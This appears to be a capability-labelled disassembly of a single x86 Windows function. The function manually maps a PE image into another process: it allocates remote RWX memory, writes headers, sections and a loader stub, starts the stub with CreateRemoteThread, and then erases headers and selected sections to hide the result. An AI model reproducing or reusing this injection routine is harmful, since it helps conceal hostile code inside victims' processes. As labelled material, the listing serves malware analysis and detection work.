Function at 0x401070
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 8], 0
mov eax, dword [ebp + 0xc]
movzx ecx, word [eax]
cmp ecx, 0x5a4d
je 0x4010a7
xor al, al
jmp 0x401632
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 0xc]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
add ecx, 0x18
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0xc]
add edx, 4
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
movzx ecx, word [eax]
cmp ecx, 0x14c
je 0x4010da
xor al, al
jmp 0x401632
push 4
push 0x3000
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + 0x38]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401104
xor al, al
jmp 0x401632
mov dword [ebp - 0x40], 0
lea edx, [ebp - 0x40]
push edx
push 0x40
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 0x38]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
xor ecx, ecx
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], ecx
mov edx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x64], edx
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x60], eax
mov byte [ebp + 0x20], 0
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x5c], ecx
mov edx, dword [ebp + 0x24]
mov dword [ebp - 0x54], edx
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x50], eax
movzx ecx, byte [ebp + 0x20]
mov dword [ebp - 0x4c], ecx
push 0
push 0x1000
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4011a4
push 0x8000
push 0
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x401632
mov ecx, dword [ebp - 0xc]
movzx edx, word [ecx + 0x14]
mov eax, dword [ebp - 0xc]
lea ecx, [eax + edx + 0x18]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x24], 0
jmp 0x4011d0
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 4]
add eax, 0x28
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x18]
movzx edx, word [ecx + 2]
cmp dword [ebp - 0x24], edx
je 0x40122e
mov eax, dword [ebp - 4]
cmp dword [eax + 0x10], 0
je 0x40122c
push 0
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x14]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
add eax, dword [edx + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40122c
push 0x8000
push 0
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x401632
jmp 0x4011be
push 4
push 0x3000
push 0x1c
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401268
push 0x8000
push 0
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x401632
push 0
push 0x1c
lea ecx, [ebp - 0x64]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4012b3
push 0x8000
push 0
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x401632
push 0x40
push 0x3000
push 0x1000
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x401305
push 0x8000
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x401632
push 0
push 0x1000
push 0x401640
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x401369
push 0x8000
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x401632
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x4013d2
push 0x8000
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x401632
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1400000
call fcn.0040f13c
add esp, 4
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x4013f9
xor al, al
jmp 0x401632
push 0x1400000
push 0
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.0040b6c0
add esp, 0xc
movzx edx, byte [ebp + 0x14]
test edx, edx
je 0x40142d
push 0
push 0x1000
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x401514
mov ecx, dword [ebp - 0xc]
movzx edx, word [ecx + 0x14]
mov eax, dword [ebp - 0xc]
lea ecx, [eax + edx + 0x18]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x28], 0
jmp 0x401465
mov edx, dword [ebp - 0x28]
add edx, 1
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 4]
add eax, 0x28
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x18]
movzx edx, word [ecx + 2]
cmp dword [ebp - 0x28], edx
je 0x401514
mov eax, dword [ebp - 4]
cmp dword [eax + 8], 0
je 0x40150f
movzx ecx, byte [ebp + 0x20]
test ecx, ecx
je 0x401493
mov dword [ebp - 0x3c], 0
jmp 0x4014be
push str..pdata
mov edx, dword [ebp - 4]
push edx
call fcn.0040f0b0
add esp, 8
test eax, eax
jne 0x4014b1
mov dword [ebp - 0x38], 1
jmp 0x4014b8
mov dword [ebp - 0x38], 0
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jne 0x4014ee
push str..rsrc
mov ecx, dword [ebp - 4]
push ecx
call fcn.0040f0b0
add esp, 8
test eax, eax
je 0x4014ee
push str..reloc
mov edx, dword [ebp - 4]
push edx
call fcn.0040f0b0
add esp, 8
test eax, eax
jne 0x40150f
push 0
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 8]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
add ecx, dword [eax + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x401453
movzx eax, byte [ebp + 0x1c]
test eax, eax
je 0x4015ed
mov ecx, dword [ebp - 0xc]
movzx edx, word [ecx + 0x14]
mov eax, dword [ebp - 0xc]
lea ecx, [eax + edx + 0x18]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x2c], 0
jmp 0x40154c
mov edx, dword [ebp - 0x2c]
add edx, 1
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 4]
add eax, 0x28
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x18]
movzx edx, word [ecx + 2]
cmp dword [ebp - 0x2c], edx
je 0x4015c3
mov eax, dword [ebp - 4]
cmp dword [eax + 8], 0
je 0x4015be
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x30], 2
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x24]
and edx, 0x80000000
jbe 0x401586
mov dword [ebp - 0x30], 4
jmp 0x40159b
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x24]
and ecx, 0x20000000
jbe 0x40159b
mov dword [ebp - 0x30], 0x20
lea edx, [ebp - 0x44]
push edx
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 8]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
add ecx, dword [eax + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x40153a
mov dword [ebp - 0x48], 0
lea eax, [ebp - 0x48]
push eax
push 2
mov ecx, dword [ebp - 0xc]
movzx edx, word [ecx + 0x14]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + edx + 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push 0x1000
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x8000
push 0
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, 1
mov esp, ebp
pop ebp
ret